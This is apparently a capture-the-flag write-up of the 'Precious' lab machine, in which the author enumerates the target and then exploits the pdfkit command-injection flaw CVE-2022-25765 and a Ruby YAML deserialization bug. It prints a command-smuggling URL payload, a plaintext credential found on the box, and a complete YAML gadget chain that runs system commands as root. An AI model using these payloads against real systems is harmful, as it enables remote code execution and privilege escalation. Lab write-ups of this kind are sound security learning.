Precious
This machine was quite hard for me. I learned a lot about exploiting ruby data serialization and finding information inside of pdf files with exiftool
.
Enumeration
This machine only has two ports open as shown by the nmap
scan below
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Nmap 7.94SVN scan initiated Sat Mar 15 09:54:17 2025 as: nmap -p22,80 -sCV -Pn -n -oN nmap/precious 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.016s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 15 09:54:24 2025 -- 1 IP address (1 host up) scanned in 7.01 seconds
The webpage is redirecting us to http://precious.htb
we can add this to our hosts file and we can now visit the website. The webpage seems very straightforward, it simply takes in a url and produces a pdf file with the contents of that website. I ran fuff
to identify different virtual hosts or directories but there were none therefore the only vector of exploitation is this pdf generator.
The first thing that I tried was inputting a valid website like nike.com
but that did not work. Following that I set up a listener on port 80 and placed my own IP address to see if I get a connect. http://10.10.14.27
1
2
3
4
5
6
7
8
9
10
11
sudo nc -lvnp 80
[sudo] password for madaf:
listening on [any] 80 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.11.189] 59318
GET / HTTP/1.1
Host: 10.10.14.27
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
Following this I tried setting up my own webpage with a simple python script which I used to test the pdf generator. It could print the simple website I generated. I tried using some common file disclosure payloads that are commonly used for pdf generators to try to get files such as /etc/passwd
but none seemed to work.
PDF Generator libraries
I decided to check wappalizer
and saw that the website was using Phusion Passenger 6.0.15. Which has support for different languages like Python and Ruby. I decided to intercept a request I made to my own page and saw the following in the headers:
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Length: 4595
Connection: keep-alive
Status: 200 OK
Content-Disposition: attachment; filename="wutmohqrq8opdks6kapw1gukbefusdim.pdf"
Last-Modified: Sat, 15 Mar 2025 11:18:30 GMT
X-Content-Type-Options: nosniff
Date: Sat, 15 Mar 2025 11:18:30 GMT
X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby
We can see that X_Runtime
indicates that the website is using Ruby as the language. I downloaded of the the pdf’s the website generated and used exiftool
to examine the pdf metadata:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ExifTool Version Number : 12.57
File Name : almtmnf8bywbjqzinc8ehve2fjjim6io.pdf
Directory : /home/madaf/Downloads
File Size : 12 kB
File Modification Date/Time : 2025:03:15 12:01:03+01:00
File Access Date/Time : 2025:03:15 12:01:03+01:00
File Inode Change Date/Time : 2025:03:15 12:01:03+01:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
We can clearly see that the file was generated using the pdfkit
library with version 0.8.6
a quick google search indicates that this version is vulnerable to remote code execution.
Foothold
The aforementioned vulnerability is CVE-2022-25765 . We can quickly check if its vulnerable by inputting this payload into the url field: http://test.local/%20 ping 10.10.14.27 -c 20
We can now use tcpdump
to try to see if we get ping requests.
1
2
3
4
5
6
7
8
9
sudo tcpdump -i tun0
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
13:09:03.420024 IP 10.10.14.27.55850 > precious.htb.http: Flags [.], ack 2219377380, win 492, options [nop,nop,TS val 2661141076 ecr 3767220373], length 0
13:09:03.433761 IP precious.htb.http > 10.10.14.27.55850: Flags [.], ack 1, win 501, options [nop,nop,TS val 3767230404 ecr 2661090882], length 0
13:09:08.935335 IP 10.10.14.27.55850 > precious.htb.http: Flags [P.], seq 1:578, ack 1, win 492, options [nop,nop,TS val 2661146591 ecr 3767230404], length 577: HTTP: POST / HTTP/1.1
13:09:08.951009 IP precious.htb.http > 10.10.14.27.55850: Flags [.], ack 578, win 501, options [nop,nop,TS val 3767235922 ecr 2661146591], length 0
13:09:08.957799 IP precious.htb > 10.10.14.27: ICMP echo request, id 13907, seq 1, length 64
13:09:08.957814 IP 10.10.14.27 > precious.htb: ICMP echo reply, id 13907, seq 1, length 64
13:09:09.956038 IP precious.htb > 10.10.14.27: ICMP echo request, id 13907, seq 2, length 64
We see the post request and following that we see the pings being sent to our IP. This verifies that we have command execution and we can now use this exploit to give us a reverse shell back to our machine. We get a reverse shell as the user ruby
.
Privilege Escalation
We land on the webpage’s directory which contains some configuration files but nothing too interesting. I take a look at the home directory and I find that there is one more user, henry
I also check my own home directory and after a ls -la
I find a hidden file that contains credentials to that user.
1
2
3
4
ruby@precious:/home/ruby$ cd .bundle
ruby@precious:/home/ruby/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Gaining Root Access
With this new user we are able to run /usr/bin/ruby /opt/update_dependencies.rb
as root without password. Since the binaries listed have full paths there is not much we can do regarding path abuses but we can take a look inside /opt/update_dependencies.rb
one common privilege escalation method in this cases is finding a binary inside the executable that does not use absolute paths, this way we can include our own malicious code and execute it as root.
Inside of /opt/update_dependencies.rb
the only file without an absolute path is dependencies.yml
which gets deserialized using YAML.load(File.read())
1
2
3
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
I got stuck here trying to find a payload that would work to grant me root access. I was told to use the following github repository as reference. Using the second payload I was able to read the root flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: cat root/root.txt
method_id: :resolve